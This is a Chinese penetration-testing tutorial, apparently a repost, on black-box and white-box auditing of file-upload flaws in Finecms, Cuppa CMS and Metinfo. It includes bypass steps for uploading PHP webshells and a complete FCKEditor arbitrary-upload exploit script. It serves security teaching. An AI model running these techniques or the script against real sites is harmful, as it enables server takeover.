WEB攻防-通用漏洞_文件上传_黑白盒审计流程

目录

前置知识点

Finecms-CMS文件上传

​编辑 Cuppa-Cms文件上传

Metinfo-CMS 文件上传


前置知识点

思路:

黑盒就是寻找一切存在文件上传的功能应用
1 、个人用户中心是否存在文件上传功能
2 、后台管理系统是否存在文件上传功能
3 、字典目录扫描探针文件上传构造地址
4 、字典目录扫描探针编辑器目录构造地址
白盒看三点,中间件,编辑器,功能代码
1 、中间件直接看语言环境常见搭配
2 、编辑器直接看目录机构或搜索关键字
3 、功能代码直接看源码应用或搜索关键字

Finecms-CMS文件上传

黑盒思路:寻找上传点抓包修改突破获取状态码及地址

首先是进行页面分析,寻找上传点,一般都是需要注册账号的,登上去发现个人中心有一个头像上传的地方

上传一个图片用burp抓包,看看数据包有什么结构

直接发送数据包。右键点击图片获取地址:http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg

多次测试图像上传,发现对原来的文件进行覆盖,重新上传后,刚刚获取的http://127.0.0.1:8100/uploadfile/member/3/45x45.jpeg失效

  http://127.0.0.1:8086/uploadfile/member/1/45x45.png(重新上传后的地址)

  http://localhost:8086/uploadfile/member/1/45x45.jpeg(上传png后失效)

可以发现上面抓取的数据包,即没有文件的名字,也没有文件的后缀名格式。但tx参数有很多熟悉的东西,如image/png,base64这样的字眼,尝试把后面的内容放在brup中进行base64解码 :decode as->选择base64解码

用C32asm或其他hex工具打开原图片,与burp解码后的结果对比,可以看到是一模一样的。

常规上传图片数据包应该有:
  filename
  type
  上传数据 

在这个文件上传中,只有
  type=data%3Aimage%2Fpng
  上传数据是base64后面一长串
  filename:但是没有看到上传的文件名

可以尝试修改type的值,然后再把内容进行编码发送。把文件的类型改为“php”,重新发包

可以看到返回{"status":0,"code":"\u4e0a\u4f20\u9519\u8bef\uff1a<p>Unable to save the image. Please make sure the image and file directory are writable.<\/p>","id":0}

翻译过来就是“上传错误:无法保存图像。请确保图像和文件目录是可写的。”

尝试访问http://127.0.0.1:8100/uploadfile/member/1/45x45.php,结果返回404

 现在有两种可能,一就是没有上传成功,二就是上传成功但是路径不一样了,或者文件名被改了

 审计流程:功能点-代码文件-代码块-抓包调试-验证测试

同样的进入网站首页,注册登入,进入个人中心上传图片抓包分析

获取路径,找到对应的代码

关键代码如下:

 public function upload() {// 创建图片存储文件夹$dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';@dr_dir_delete($dir);!is_dir($dir) && dr_mkdirs($dir);if ($_POST['tx']) {$file = str_replace(' ', '+', $_POST['tx']);if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){$new_file = $dir.'0x0.'.$result[2];if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {exit(dr_json(0, '目录权限不足或磁盘已满'));} else {$this->load->library('image_lib');$config['create_thumb'] = TRUE;$config['thumb_marker'] = '';$config['maintain_ratio'] = FALSE;$config['source_image'] = $new_file;foreach (array(30, 45, 90, 180) as $a) {$config['width'] = $config['height'] = $a;$config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];$this->image_lib->initialize($config);if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}}list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);!$type && exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片字符串不规范'));}} else {exit(dr_json(0, '图片不存在'));}

$new_file = $dir.'0x0.'.$result[2];在这里,$result[2] 是从输入数据中提取的 MIME 类型的一部分,在这个例子中是 php,并且它直接被用作文件扩展名。由于您的代码没有检查 $result[2] 是否是一个有效的图片类型扩展名,因此它允许非图片类型的文件被保存。

  1. 文件保存和缩略图生成是独立的操作:在代码中,原始图片被命名为 0x0.php,尽管它实际上是一个 PHP 文件而不是图片,首先被保存到磁盘上。然后,尝试为这个文件生成多个尺寸的缩略图。

  2. 缩略图生成失败不会删除原始文件:即使缩略图生成失败,并且 exit() 函数被调用以返回错误信息,原始文件0x0.php仍然保留在磁盘上。这是因为代码中没有包含在任何情况下删除原始文件的逻辑。

  3. 逻辑上的漏洞:由于代码允许非图片类型的文件被保存为图片文件,并且缩略图生成失败不会触发原始文件的删除,因此存在安全风险。攻击者可以利用这个漏洞上传恶意的 PHP 文件,并尝试通过其他手段(如文件包含漏洞)执行它。但是一般黑盒能想到被重命名为0x0.php还是很小的。

上面黑盒看到的状态0,上传错误,就是我们上传到文件生成缩略图失败了

if (!$this->image_lib->resize()) {exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));break;}

将文件前缀改成了0x0,现在我们尝试将名称改为0x0再次访问

 Cuppa-Cms文件上传

黑盒思路:

登录进管理界面,寻找可利用的点,在settings中的files发现可以更改允许的文件扩展名

加上 *.php。

 并找到文件管理器,且可文件上传,这个上传的会检验文件头是不是图片格式的,所以写个图片马绕过检测

 

网站有前端js验证,所以需要把文件扩展名改为图片格式的扩展名,再用burpsuite抓包改成php

 文件管理器还可以显示文件的路径

但访问上传的木马,发现访问不了 

回到文件管理器,其实是.htaccess文件加了限制,发现在文件管理器能删除文件,就把.htaccess文件删了,再去访问

这里不添加php也是可行的,上传图片马,有一个重命名的功能,修改名字的时候抓包,改掉后缀

 

 白盒分析发现做了正则表达式过滤,过滤也很严谨,所以此处上传功能是没有漏洞的

但是黑盒测试通过rename功能突破的,我们重点看rename的操作。从这段代码中发现它的文件重命名后缀是通过原有文件拼接上去的,只做了前端限制,还是会接收文件的绝对地址,所以此处是有漏洞的。如果此处对后缀固定,则无漏洞。

上传抓包上传,发现URL:js/jquery_file_upload/server/php/index.php
index.php代码:
ini_set('display_errors', "0");
error_reporting(E_ALL | E_STRICT);
require('UploadHandler.php');
$upload_handler = new UploadHandler();

找到UploadHandler.php,搜索关键字:file type not allowed

因为'accept_file_types' => 'Filetype not allowed',这段代码,所以继续跟踪'accept_file_types' 这个代码段

 

查看允许上传的后缀:

'accept_file_types' => '/.('.$allowed_extensions.')$/i',

跟踪$allowed_extensions,应该是在配置文件里生成

全局搜索$allowed_extensions,在Configuration.php有声明,也是上面黑盒中添加php后缀的那玩意

public $allowed_extensions = "*.gif; *.jpg; *.jpeg; *.pdf; *.ico; *.png; *.svg;";
很明显,这个是白名单过滤。
重命名的数据包指向文件:js/filemanager/api/index.php

这段代码是没有任何过滤的

前端没有显示后缀,是因为js做了截断,找到相对应的HTML代码。全局搜索rename

Metinfo-CMS 文件上传

审计流程:目录结构-引用编辑器-编辑器安全查询-EXP利用验证

扫描得到fckeditor

http://127.0.0.1:8102/fckeditor/

然后在网上找利用点。

扫描获取版本路径:http://127.0.0.1:8102/fckeditor/editor/dialog/fck_about.html

网上找exp,用php.exe跑,php5.4之前才可以,比较老的一个漏洞

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'xiaodi'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/505634.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

“深入浅出”系列之FFmpeg:(1)音视频开发基础

我的音视频开发大部分内容是跟着雷霄骅大佬学习的&#xff0c;所以笔记也是跟雷老师的博客写的。 一、音视频相关的基础知识 首先播放一个视频文件的流程如下所示&#xff1a; FFmpeg的作用就是将H.264格式的数据转换成YUV格式的数据&#xff0c;然后SDL将YUV显示到电脑屏幕上…

搭建docker私有化仓库Harbor

Docker私有仓库概述 Docker私有仓库介绍 Docker私有仓库是个人、组织或企业内部用于存储和管理Docker镜像的存储库。Docker默认会有一个公共的仓库Docker Hub,而与Docker Hub不同,私有仓库是受限访问的,只有授权用户才能够上传、下载和管理其中的镜像。这种私有仓库可以部…

fast-crud select下拉框 实现多选功能及下拉框数据动态获取(通过接口获取)

教程 fast-crud select示例配置需求:需求比较复杂 1. 下拉框选项需要通过后端接口获取 2. 实现多选功能 由于这个前端框架使用逻辑比较复杂我也是第一次使用,所以只记录核心问题 环境:vue3,typescript,fast-crud ,elementPlus 效果 代码 // crud.tsx文件(/.ts也行 js应…

在Windows环境下搭建无人机模拟器

最近要开发无人机地面站&#xff0c;但是没有无人机&#xff0c;开发无人机对我来说也是大姑娘坐花轿——头一回。我们要用 MAVLink 和无人机之间通信&#xff0c;看了几天 MAVLink&#xff0c;还是不得劲儿&#xff0c;没有实物实在是不好弄&#xff0c;所以想先装一个无人机模…

HTB:Topology[WriteUP]

目录 连接至HTB服务器并启动靶机 信息收集 使用rustscan对靶机TCP端口进行开放扫描 提取并保存靶机TCP开放端口号 使用nmap对靶机TCP开放端口进行脚本、服务扫描 使用nmap对靶机TCP开放端口进行漏洞、系统扫描 使用nmap对靶机常用UDP端口进行开放扫描 使用浏览器访问靶…

【 Verdi实用技巧-Part-3】

Verdi实用技巧-Part-3 3 Verdi实用技巧-Part-33.1 nWave window(看波形窗口)3.2 收集coverage3.3 nWave window3.4 Verdi-->app3.5 Force信号用Verdi去debug 本篇文章继续介绍Verdi实用技巧–Part-3; 3 Verdi实用技巧-Part-3 3.1 nWave window(看波形窗口) nWave window …

Vue sm3国密 IE模式报错处理

1、sm-crypto 转义错误 查看报错信息包名 在vue.config.js的transpileDependencies中把依赖包添加进去&#xff0c;让babel能够转译sm-crypto包 babel.config.js module.exports {presets: [[vue/app, {useBuiltIns: entry}]] }2、exports.destroy (() &#xff1e; { … }&a…

docker 基本使用

-do1.安装docker: Redirecting… 0. docker内使用gpu, 安装nvidia-docker: https://github.com/NVIDIA/nvidia-docker, 安装后使用&#xff1a;nvidia-container-cli -k -d /dev/tty list&#xff0c; 验证正确&#xff0c;无报错&#xff0c;即为正确 1. docker 启动image,如…

手机的ip地址是根据电话卡归属地定吗

在智能手机普及的今天&#xff0c;IP地址作为我们连接互联网的“门牌号”&#xff0c;其来源和确定方式常常引发用户的好奇。特别是关于手机IP地址是否与电话卡的归属地直接相关&#xff0c;这一话题更是众说纷纭。本文将深入探讨这一问题&#xff0c;为您揭开手机IP地址与电话…

计算机网络 (32)用户数据报协议UDP

前言 用户数据报协议&#xff08;UDP&#xff0c;User Datagram Protocol&#xff09;是计算机网络中的一种重要传输层协议&#xff0c;它提供了无连接的、不可靠的、面向报文的通信服务。 一、基本概念 UDP协议位于传输层&#xff0c;介于应用层和网络层之间。它不像TCP那样提…

YOLOv5改进 | CARAFE提高精度的上采样方法

目录 1 CARAFE模块原理 1.1 上采样的表示 1.2 Motivation 2 YOLOv5中加入CARAFE模块 2.1 ultralytics/nn/modules/block.py文件配置 2.2 ultralytics/nn/tasks.py配置 2.3 创建添加优化点模块的yolov5x-CARAFE.yaml 参考文献 1 CARAFE模块原理 上采样操作可以表示为…

高通,联发科(MTK)等手机平台调优汇总

一、常见手机型号介绍&#xff1a; ISP除了用在安防行业&#xff0c;还有手机市场&#xff0c;以及目前新型的A/VR眼睛&#xff0c;机器3D视觉机器人&#xff0c;医疗内窥镜这些行业。 下面是一些最近几年发布的,,,旗舰SOC型号&#xff1a; 1.联发科&#xff1a;天玑92…

windows从0开始配置llamafactory微调chatglm3-6b

后续会更新 从0学习LLaMaFactory参数解释说明 &#xff0c;请期待~ 文章目录 一、准备工作1、创建python虚拟环境(annoconda)2、配置pytorch傻瓜版3、llamafactory配置4、微调数据准备5、开始微调5.1 webui启动微调5.2 指令启动微调 一、准备工作 1、创建python虚拟环境(annoc…

某漫画网站JS逆向反混淆流程分析

文章目录 1. 写在前面1. 接口分析2. 反混淆分析 【&#x1f3e0;作者主页】&#xff1a;吴秋霖 【&#x1f4bc;作者介绍】&#xff1a;擅长爬虫与JS加密逆向分析&#xff01;Python领域优质创作者、CSDN博客专家、阿里云博客专家、华为云享专家。一路走来长期坚守并致力于Pyth…

netplan apply报错No module named ‘netifaces‘

Ubuntu 20.04.5 LTS \n \l&#xff0c;ctrlaltf2切换字符登录f1切换图形 处理办法&#xff1a; root登录执行 rootnode37:/disk1/Qwen2.5-72B-Instruct-GPTQ-Int4# cat /etc/netplan/01-network-manager-all.yaml # Let NetworkManager manage all devices on this system …

LabVIEW 系统诊断

LabVIEW 系统诊断是指通过各种工具和方法检测、评估、分析和解决 LabVIEW 程序和硬件系统中可能存在的故障和性能问题。系统诊断不仅涵盖软件层面的调试与优化&#xff0c;还包括硬件交互、数据传输、实时性能等方面的检查和分析。一个成功的系统诊断能够显著提升LabVIEW应用程…

【Docker】docker compose 安装 Redis Stack

注&#xff1a;整理不易&#xff0c;请不要吝啬你的赞和收藏。 前文 Redis Stack 什么是&#xff1f; 简单来说&#xff0c;Redis Stack 是增强版的 Redis &#xff0c;它在传统的 Redis 数据库基础上增加了一些高级功能和模块&#xff0c;以支持更多的使用场景和需求。Redis…

慧集通(DataLinkX)iPaaS集成平台-数据流程之流程透明化调试功能简介

在线运行流程 查看运行状态 流程第一次执行状态显示 流程第二次执行状态显示&#xff08;由于订单已同步到七星ERP中&#xff0c;由于还是这些订单所以第二次同步时就报错了&#xff09; 点击查看节点组件的详细入参与出参信息 U8C销售订单读取组件执行时详情 入参-查询条件…

数据集-目标检测系列- 电话 测数据集 call_phone >> DataBall

数据集-目标检测系列- 电话 测数据集 call DataBall 助力快速掌握数据集的信息和使用方式&#xff0c;会员享有 百种数据集&#xff0c;持续增加中。 需要更多数据资源和技术解决方案&#xff0c;知识星球&#xff1a; “DataBall - X 数据球(free)” 贵在坚持&#xff01; …

【PPTist】公式编辑、插入音视频、添加动画

一、插入公式 点击公式的时候 latexEditorVisible 会变成 true src/views/Editor/CanvasTool/index.vue <Modalv-model:visible"latexEditorVisible" :width"880" ><LaTeXEditor close"latexEditorVisible false"update"data &…